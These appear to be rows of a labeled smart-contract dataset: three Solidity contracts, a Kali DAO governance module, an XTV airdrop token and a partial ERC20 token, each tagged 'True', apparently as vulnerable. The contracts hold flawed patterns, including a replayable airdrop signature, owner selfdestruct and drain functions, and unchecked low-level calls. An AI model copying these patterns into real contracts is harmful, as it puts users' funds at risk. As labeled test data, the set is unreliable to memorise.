return uint96(x);
}
}
/// @notice Helper utility that enables calling multiple local methods in a single call.
/// @author Modified from Uniswap (https://github.com/Uniswap/v3-periphery/blob/main/contracts/base/Multicall.sol)
abstract contract Multicall {
function multicall(bytes[] calldata data) public virtual returns (bytes[] memory results) {
results = new bytes[](data.length);
// cannot realistically overflow on human timescales
unchecked {
for (uint256 i = 0; i < data.length; i++) {
(bool success, bytes memory result) = address(this).delegatecall(data[i]);
if (!success) {
if (result.length < 68) revert();
assembly {
result := add(result, 0x04)
}
revert(abi.decode(result, (string)));
}
results[i] = result;
}
}
}
}
/// @notice Helper utility for NFT 'safe' transfers.
abstract contract NFThelper {
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external pure returns (bytes4 sig) {
sig = 0x150b7a02; // 'onERC721Received(address,address,uint256,bytes)'
}
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) external pure returns (bytes4 sig) {
sig = 0xf23a6e61; // 'onERC1155Received(address,address,uint256,uint256,bytes)'
}
function onERC1155BatchReceived(
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external pure returns (bytes4 sig) {
sig = 0xbc197c81; // 'onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)'
}
}
/// @notice Gas-optimized reentrancy protection.
/// @author Modified from OpenZeppelin
/// (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol)
/// License-Identifier: MIT
abstract contract ReentrancyGuard {
error Reentrancy();
uint256 private constant NOT_ENTERED = 1;
uint256 private constant ENTERED = 2;
uint256 private status = NOT_ENTERED;
modifier nonReentrant() {
if (status == ENTERED) revert Reentrancy();
status = ENTERED;
_;
status = NOT_ENTERED;
}
}
/// @notice Kali DAO membership extension interface.
interface IKaliDAOextension {
function setExtension(bytes calldata extensionData) external;
function callExtension(
address account,
uint256 amount,
bytes calldata extensionData
) external payable returns (bool mint, uint256 amountOut);
}
/// @notice Simple gas-optimized Kali DAO core module.
contract KaliDAO is KaliDAOtoken, Multicall, NFThelper, ReentrancyGuard {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event NewProposal(
address indexed proposer,
uint256 indexed proposal,
ProposalType indexed proposalType,
string description,
address[] accounts,
uint256[] amounts,
bytes[] payloads
);
event ProposalCancelled(address indexed proposer, uint256 indexed proposal);
event ProposalSponsored(address indexed sponsor, uint256 indexed proposal);
event VoteCast(address indexed voter, uint256 indexed proposal, bool indexed approve);
event ProposalProcessed(uint256 indexed proposal, bool indexed didProposalPass);
/*///////////////////////////////////////////////////////////////
ERRORS
//////////////////////////////////////////////////////////////*/
error Initialized();
error PeriodBounds();
error QuorumMax();
error SupermajorityBounds();
error InitCallFail();
error TypeBounds();
error NotProposer();
error Sponsored();
error NotMember();
error NotCurrentProposal();
error AlreadyVoted();
error NotVoteable();
error VotingNotEnded();
error PrevNotProcessed();
error NotExtension();
/*///////////////////////////////////////////////////////////////
DAO STORAGE
//////////////////////////////////////////////////////////////*/
string public docs;
uint256 private currentSponsoredProposal;
uint256 public proposalCount;
uint32 public votingPeriod;
uint32 public gracePeriod;
uint32 public quorum; // 1-100
uint32 public supermajority; // 1-100
bytes32 public constant VOTE_HASH =
keccak256('SignVote(address signer,uint256 proposal,bool approve)');
mapping(address => bool) public extensions;
mapping(uint256 => Proposal) public proposals;
mapping(uint256 => ProposalState) public proposalStates;
mapping(ProposalType => VoteType) public proposalVoteTypes;
mapping(uint256 => mapping(address => bool)) public voted;
mapping(address => uint256) public lastYesVote;
enum ProposalType {
MINT, // add membership
BURN, // revoke membership
CALL, // call contracts
VPERIOD, // set `votingPeriod`
GPERIOD, // set `gracePeriod`
QUORUM, // set `quorum`
SUPERMAJORITY, // set `supermajority`
TYPE, // set `VoteType` to `ProposalType`
PAUSE, // flip membership transferability
EXTENSION, // flip `extensions` whitelisting
ESCAPE, // delete pending proposal in case of revert
DOCS // amend org docs
}
enum VoteType {
SIMPLE_MAJORITY,
SIMPLE_MAJORITY_QUORUM_REQUIRED,
SUPERMAJORITY,
SUPERMAJORITY_QUORUM_REQUIRED
}
struct Proposal {
ProposalType proposalType;
string description;
address[] accounts; // member(s) being added/kicked; account(s) receiving payload
uint256[] amounts; // value(s) to be minted/burned/spent; gov setting [0]
bytes[] payloads; // data for CALL proposals
uint256 prevProposal;
uint96 yesVotes;
uint96 noVotes;
uint32 creationTime;
address proposer;
}
struct ProposalState {
bool passed;
bool processed;
}
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
function init(
string memory name_,
string memory symbol_,
string memory docs_,
bool paused_,
address[] memory extensions_,
bytes[] memory extensionsData_,
address[] calldata voters_,
uint256[] calldata shares_,
uint32[16] memory govSettings_
) public nonReentrant virtual {
if (extensions_.length != extensionsData_.length) revert NoArrayParity();
if (votingPeriod != 0) revert Initialized();
if (govSettings_[0] == 0 || govSettings_[0] > 365 days) revert PeriodBounds();
if (govSettings_[1] > 365 days) revert PeriodBounds();
if (govSettings_[2] > 100) revert QuorumMax();
if (govSettings_[3] <= 51 || govSettings_[3] > 100) revert SupermajorityBounds();
KaliDAOtoken._init(name_, symbol_, paused_, voters_, shares_);
if (extensions_.length != 0) {
// cannot realistically overflow on human timescales
unchecked {
for (uint256 i; i < extensions_.length; i++) {
extensions[extensions_[i]] = true;
if (extensionsData_[i].length > 3) {
(bool success, ) = extensions_[i].call(extensionsData_[i]);
if (!success) revert InitCallFail();
}
}
}
}
docs = docs_;
votingPeriod = govSettings_[0];
gracePeriod = govSettings_[1];
quorum = govSettings_[2];
supermajority = govSettings_[3];
// set initial vote types
proposalVoteTypes[ProposalType.MINT] = VoteType(govSettings_[4]);
proposalVoteTypes[ProposalType.BURN] = VoteType(govSettings_[5]);
proposalVoteTypes[ProposalType.CALL] = VoteType(govSettings_[6]);
proposalVoteTypes[ProposalType.VPERIOD] = VoteType(govSettings_[7]);
proposalVoteTypes[ProposalType.GPERIOD] = VoteType(govSettings_[8]);
proposalVoteTypes[ProposalType.QUORUM] = VoteType(govSettings_[9]);
proposalVoteTypes[ProposalType.SUPERMAJORITY] = VoteType(govSettings_[10]);
proposalVoteTypes[ProposalType.TYPE] = VoteType(govSettings_[11]);
proposalVoteTypes[ProposalType.PAUSE] = VoteType(govSettings_[12]);
proposalVoteTypes[ProposalType.EXTENSION] = VoteType(govSettings_[13]);
proposalVoteTypes[ProposalType.ESCAPE] = VoteType(govSettings_[14]);
proposalVoteTypes[ProposalType.DOCS] = VoteType(govSettings_[15]);
}
/*///////////////////////////////////////////////////////////////
PROPOSAL LOGIC
//////////////////////////////////////////////////////////////*/
function getProposalArrays(uint256 proposal) public view virtual returns (
address[] memory accounts,
uint256[] memory amounts,
bytes[] memory payloads
) {
Proposal storage prop = proposals[proposal];
(accounts, amounts, payloads) = (prop.accounts, prop.amounts, prop.payloads);
}
function propose(
ProposalType proposalType,
string calldata description,
address[] calldata accounts,
uint256[] calldata amounts,
bytes[] calldata payloads
) public nonReentrant virtual returns (uint256 proposal) {
if (accounts.length != amounts.length || amounts.length != payloads.length) revert NoArrayParity();
if (proposalType == ProposalType.VPERIOD) if (amounts[0] == 0 || amounts[0] > 365 days) revert PeriodBounds();
if (proposalType == ProposalType.GPERIOD) if (amounts[0] > 365 days) revert PeriodBounds();
if (proposalType == ProposalType.QUORUM) if (amounts[0] > 100) revert QuorumMax();
if (proposalType == ProposalType.SUPERMAJORITY) if (amounts[0] <= 51 || amounts[0] > 100) revert SupermajorityBounds();
if (proposalType == ProposalType.TYPE) if (amounts[0] > 11 || amounts[1] > 3 || amounts.length != 2) revert TypeBounds();
bool selfSponsor;
// if member or extension is making proposal, include sponsorship
if (balanceOf[msg.sender] != 0 || extensions[msg.sender]) selfSponsor = true;
// cannot realistically overflow on human timescales
unchecked {
proposalCount++;
}
proposal = proposalCount;
proposals[proposal] = Proposal({
proposalType: proposalType,
description: description,
accounts: accounts,
amounts: amounts,
payloads: payloads,
prevProposal: selfSponsor ? currentSponsoredProposal : 0,
yesVotes: 0,
noVotes: 0,
creationTime: selfSponsor ? _safeCastTo32(block.timestamp) : 0,
proposer: msg.sender
});
if (selfSponsor) currentSponsoredProposal = proposal;
emit NewProposal(msg.sender, proposal, proposalType, description, accounts, amounts, payloads);
}
function cancelProposal(uint256 proposal) public nonReentrant virtual {
Proposal storage prop = proposals[proposal];
if (msg.sender != prop.proposer) revert NotProposer();
if (prop.creationTime != 0) revert Sponsored();
delete proposals[proposal];
emit ProposalCancelled(msg.sender, proposal);
}
function sponsorProposal(uint256 proposal) public nonReentrant virtual {
Proposal storage prop = proposals[proposal];
if (balanceOf[msg.sender] == 0) revert NotMember();
if (prop.proposer == address(0)) revert NotCurrentProposal();
if (prop.creationTime != 0) revert Sponsored();
prop.prevProposal = currentSponsoredProposal;
currentSponsoredProposal = proposal;
prop.creationTime = _safeCastTo32(block.timestamp);
emit ProposalSponsored(msg.sender, proposal);
}
function vote(uint256 proposal, bool approve) public nonReentrant virtual {
_vote(msg.sender, proposal, approve);
}
function voteBySig(
address signer,
uint256 proposal,
bool approve,
uint8 v,
bytes32 r,
bytes32 s
) public nonReentrant virtual {
bytes32 digest =
keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR(),
keccak256(
abi.encode(
VOTE_HASH,
signer,
proposal,
approve
)
)
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
if (recoveredAddress == address(0) || recoveredAddress != signer) revert InvalidSignature();
_vote(signer, proposal, approve);
}
function _vote(
address signer,
uint256 proposal,
bool approve
) internal virtual {
Proposal storage prop = proposals[proposal];
if (balanceOf[signer] == 0) revert NotMember();
if (voted[proposal][signer]) revert AlreadyVoted();
// this is safe from overflow because `votingPeriod` is capped so it will not combine
// with unix time to exceed the max uint256 value
unchecked {
if (block.timestamp > prop.creationTime + votingPeriod) revert NotVoteable();
}
uint96 weight = getPriorVotes(signer, prop.creationTime);
// this is safe from overflow because `yesVotes` and `noVotes` are capped by `totalSupply`
// which is checked for overflow in `KaliDAOtoken` contract
unchecked {
if (approve) {
prop.yesVotes += weight;
lastYesVote[signer] = proposal;
} else {
prop.noVotes += weight;
}
}
voted[proposal][signer] = true;
emit VoteCast(signer, proposal, approve);
}
function processProposal(uint256 proposal) public nonReentrant virtual returns (
bool didProposalPass, bytes[] memory results
) {
Proposal storage prop = proposals[proposal];
VoteType voteType = proposalVoteTypes[prop.proposalType];
if (prop.creationTime == 0) revert NotCurrentProposal();
// this is safe from overflow because `votingPeriod` and `gracePeriod` are capped so they will not combine
// with unix time to exceed the max uint256 value
unchecked {
if (block.timestamp <= prop.creationTime + votingPeriod + gracePeriod) revert VotingNotEnded();
}
// skip previous proposal processing requirement in case of escape hatch
if (prop.proposalType != ProposalType.ESCAPE)
if (proposals[prop.prevProposal].creationTime != 0) revert PrevNotProcessed();
didProposalPass = _countVotes(voteType, prop.yesVotes, prop.noVotes);
if (didProposalPass) {
// cannot realistically overflow on human timescales
unchecked {
if (prop.proposalType == ProposalType.MINT)
for (uint256 i; i < prop.accounts.length; i++) {
_mint(prop.accounts[i], prop.amounts[i]);
}
if (prop.proposalType == ProposalType.BURN)
for (uint256 i; i < prop.accounts.length; i++) {
_burn(prop.accounts[i], prop.amounts[i]);
}
if (prop.proposalType == ProposalType.CALL)
for (uint256 i; i < prop.accounts.length; i++) {
results = new bytes[](prop.accounts.length);
(, bytes memory result) = prop.accounts[i].call{value: prop.amounts[i]}
(prop.payloads[i]);
results[i] = result;
}
// governance settings
if (prop.proposalType == ProposalType.VPERIOD)
if (prop.amounts[0] != 0) votingPeriod = uint32(prop.amounts[0]);
if (prop.proposalType == ProposalType.GPERIOD)
if (prop.amounts[0] != 0) gracePeriod = uint32(prop.amounts[0]);
if (prop.proposalType == ProposalType.QUORUM)
if (prop.amounts[0] != 0) quorum = uint32(prop.amounts[0]);
if (prop.proposalType == ProposalType.SUPERMAJORITY)
if (prop.amounts[0] != 0) supermajority = uint32(prop.amounts[0]);
if (prop.proposalType == ProposalType.TYPE)
proposalVoteTypes[ProposalType(prop.amounts[0])] = VoteType(prop.amounts[1]);
if (prop.proposalType == ProposalType.PAUSE)
_flipPause();
if (prop.proposalType == ProposalType.EXTENSION)
for (uint256 i; i < prop.accounts.length; i++) {
if (prop.amounts[i] != 0)
extensions[prop.accounts[i]] = !extensions[prop.accounts[i]];
if (prop.payloads[i].length > 3) IKaliDAOextension(prop.accounts[i])
.setExtension(prop.payloads[i]);
}
if (prop.proposalType == ProposalType.ESCAPE)
delete proposals[prop.amounts[0]];
if (prop.proposalType == ProposalType.DOCS)
docs = prop.description;
proposalStates[proposal].passed = true;
}
}
delete proposals[proposal];
proposalStates[proposal].processed = true;
emit ProposalProcessed(proposal, didProposalPass);
}
function _countVotes(
VoteType voteType,
uint256 yesVotes,
uint256 noVotes
) internal view virtual returns (bool didProposalPass) {
// fail proposal if no participation
if (yesVotes == 0 && noVotes == 0) return false;
// rule out any failed quorums
if (voteType == VoteType.SIMPLE_MAJORITY_QUORUM_REQUIRED || voteType == VoteType.SUPERMAJORITY_QUORUM_REQUIRED) {
uint256 minVotes = (totalSupply * quorum) / 100;
// this is safe from overflow because `yesVotes` and `noVotes`
// supply are checked in `KaliDAOtoken` contract
unchecked {
uint256 votes = yesVotes + noVotes;
if (votes < minVotes) return false;
}
}
// simple majority check
if (voteType == VoteType.SIMPLE_MAJORITY || voteType == VoteType.SIMPLE_MAJORITY_QUORUM_REQUIRED) {
if (yesVotes > noVotes) return true;
// supermajority check
} else {
// example: 7 yes, 2 no, supermajority = 66
// ((7+2) * 66) / 100 = 5.94; 7 yes will pass
uint256 minYes = ((yesVotes + noVotes) * supermajority) / 100;
if (yesVotes >= minYes) return true;
}
}
/*///////////////////////////////////////////////////////////////
EXTENSIONS
//////////////////////////////////////////////////////////////*/
receive() external payable virtual {}
modifier onlyExtension {
if (!extensions[msg.sender]) revert NotExtension();
_;
}
function callExtension(
address extension,
uint256 amount,
bytes calldata extensionData
) public payable nonReentrant virtual returns (bool mint, uint256 amountOut) {
if (!extensions[extension]) revert NotExtension();
(mint, amountOut) = IKaliDAOextension(extension).callExtension{value: msg.value}
(msg.sender, amount, extensionData);
if (mint) {
if (amountOut != 0) _mint(msg.sender, amountOut);
} else {
if (amountOut != 0) _burn(msg.sender, amount);
}
}
function mintShares(address to, uint256 amount) public onlyExtension virtual {
_mint(to, amount);
}
function burnShares(address from, uint256 amount) public onlyExtension virtual {
_burn(from, amount);
}
}
|
True
|
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] |
pragma solidity ^0.4.23;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
function kill() public onlyOwner {
selfdestruct(owner);
}
}/*
* Name: Full Fill TV - XTV Network Utils Contract
* Author: Allen Sarkisyan
* Copyright: 2017 Full Fill TV, Inc.
* Version: 1.0.0
*/
library XTVNetworkUtils {
function verifyXTVSignatureAddress(bytes32 hash, bytes memory sig) internal pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65) {
return (address(0));
}
// solium-disable-next-line security/no-inline-assembly
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
}
bytes32 prefixedHash = keccak256(
abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)
);
// solium-disable-next-line arg-overflow
return ecrecover(prefixedHash, v, r, s);
}
}/*
* Name: Full Fill TV Contract
* Author: Allen Sarkisyan
* Copyright: 2017 Full Fill TV, Inc.
* Version: 1.0.0
*/
contract XTVNetworkGuard {
mapping(address => bool) xtvNetworkEndorser;
modifier validateSignature(
string memory message,
bytes32 verificationHash,
bytes memory xtvSignature
) {
bytes32 xtvVerificationHash = keccak256(abi.encodePacked(verificationHash, message));
require(verifyXTVSignature(xtvVerificationHash, xtvSignature));
_;
}
function setXTVNetworkEndorser(address _addr, bool isEndorser) public;
function verifyXTVSignature(bytes32 hash, bytes memory sig) public view returns (bool) {
address signerAddress = XTVNetworkUtils.verifyXTVSignatureAddress(hash, sig);
return xtvNetworkEndorser[signerAddress];
}
}
/*
* Name: Full Fill TV - XTV Token Contract
* Author: Allen Sarkisyan
* Copyright: 2017 Full Fill TV, Inc.
* Version: 1.0.0
*/
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/*
* Name: Full Fill TV Contract
* Author: Allen Sarkisyan
* Copyright: 2017 Full Fill TV, Inc.
* Version: 1.0.0
*/
/*
* Name: Full Fill TV Contract
* Author: Allen Sarkisyan
* Copyright: 2017 Full Fill TV, Inc.
* Version: 1.0.0
*/
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
bool public paused = false;
bool public mintingFinished = false;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) internal allowed;
uint256 totalSupply_;
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function allowance(address _owner, address spender) public view returns (uint256);
function increaseApproval(address spender, uint addedValue) public returns (bool);
function decreaseApproval(address spender, uint subtractedValue) public returns (bool);
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
event Buy(address indexed _recipient, uint _amount);
event Mint(address indexed to, uint256 amount);
event MintFinished();
event Pause();
event Unpause();
}
contract ERC20Token is ERC20, Ownable {
using SafeMath for uint256;
/** ERC20 Interface Methods */
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) { return totalSupply_; }
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; }
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool) {
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract XTVToken is XTVNetworkGuard, ERC20Token {
using SafeMath for uint256;
string public constant name = "XTV Network";
string public constant symbol = "XTV";
uint public constant decimals = 18;
address public fullfillTeamAddress;
address public fullfillFounder;
address public fullfillAdvisors;
address public XTVNetworkContractAddress;
bool public airdropActive;
uint public startTime;
uint public endTime;
uint public XTVAirDropped;
uint public XTVBurned;
mapping(address => bool) public claimed;
uint256 private constant TOKEN_MULTIPLIER = 1000000;
uint256 private constant DECIMALS = 10 ** decimals;
uint256 public constant INITIAL_SUPPLY = 500 * TOKEN_MULTIPLIER * DECIMALS;
uint256 public constant EXPECTED_TOTAL_SUPPLY = 1000 * TOKEN_MULTIPLIER * DECIMALS;
// 33%
uint256 public constant ALLOC_TEAM = 330 * TOKEN_MULTIPLIER * DECIMALS;
// 7%
uint256 public constant ALLOC_ADVISORS = 70 * TOKEN_MULTIPLIER * DECIMALS;
// 10%
uint256 public constant ALLOC_FOUNDER = 100 * TOKEN_MULTIPLIER * DECIMALS;
// 50%
uint256 public constant ALLOC_AIRDROP = 500 * TOKEN_MULTIPLIER * DECIMALS;
uint256 public constant AIRDROP_CLAIM_AMMOUNT = 500 * DECIMALS;
modifier isAirdropActive() {
require(airdropActive);
_;
}
modifier canClaimTokens() {
uint256 remainingSupply = balances[address(0)];
require(!claimed[msg.sender] && remainingSupply > AIRDROP_CLAIM_AMMOUNT);
_;
}
event LogAirdropClaim(
address addr,
string token,
bytes32 verificationHash,
bytes xtvSignature
);
constructor(
address _fullfillTeam,
address _fullfillFounder,
address _fullfillAdvisors
) public {
owner = msg.sender;
fullfillTeamAddress = _fullfillTeam;
fullfillFounder = _fullfillFounder;
fullfillAdvisors = _fullfillAdvisors;
airdropActive = true;
startTime = block.timestamp;
endTime = startTime + 365 days;
balances[_fullfillTeam] = ALLOC_TEAM;
balances[_fullfillFounder] = ALLOC_FOUNDER;
balances[_fullfillAdvisors] = ALLOC_ADVISORS;
balances[address(0)] = ALLOC_AIRDROP;
totalSupply_ = INITIAL_SUPPLY;
}
function setXTVNetworkEndorser(address _addr, bool isEndorser) public onlyOwner {
xtvNetworkEndorser[_addr] = isEndorser;
}
// @dev 500 XTV Tokens per claimant
function claim(
string memory token,
bytes32 verificationHash,
bytes memory xtvSignature
)
public
isAirdropActive
canClaimTokens
validateSignature(token, verificationHash, xtvSignature)
returns (uint256)
{
claimed[msg.sender] = true;
balances[address(0)] = balances[address(0)].sub(AIRDROP_CLAIM_AMMOUNT);
balances[msg.sender] = balances[msg.sender].add(AIRDROP_CLAIM_AMMOUNT);
XTVAirDropped = XTVAirDropped.add(AIRDROP_CLAIM_AMMOUNT);
totalSupply_ = totalSupply_.add(AIRDROP_CLAIM_AMMOUNT);
emit LogAirdropClaim(msg.sender, token, verificationHash, xtvSignature);
return balances[msg.sender];
}
// @dev Anyone can call this function
// @dev Locks the burned tokens at address 0x00
function burnTokens() public {
if (block.timestamp > endTime) {
uint256 remaining = balances[address(0)];
airdropActive = false;
XTVBurned = remaining;
}
}
function setXTVNetworkContractAddress(address addr) public onlyOwner {
XTVNetworkContractAddress = addr;
}
function setXTVTokenAirdropStatus(bool _status) public onlyOwner {
airdropActive = _status;
}
function drain() public onlyOwner {
owner.transfer(address(this).balance);
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2019-07-08
*/
/**
*Submitted for verification at Etherscan.io on 2019-04-14
*/
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
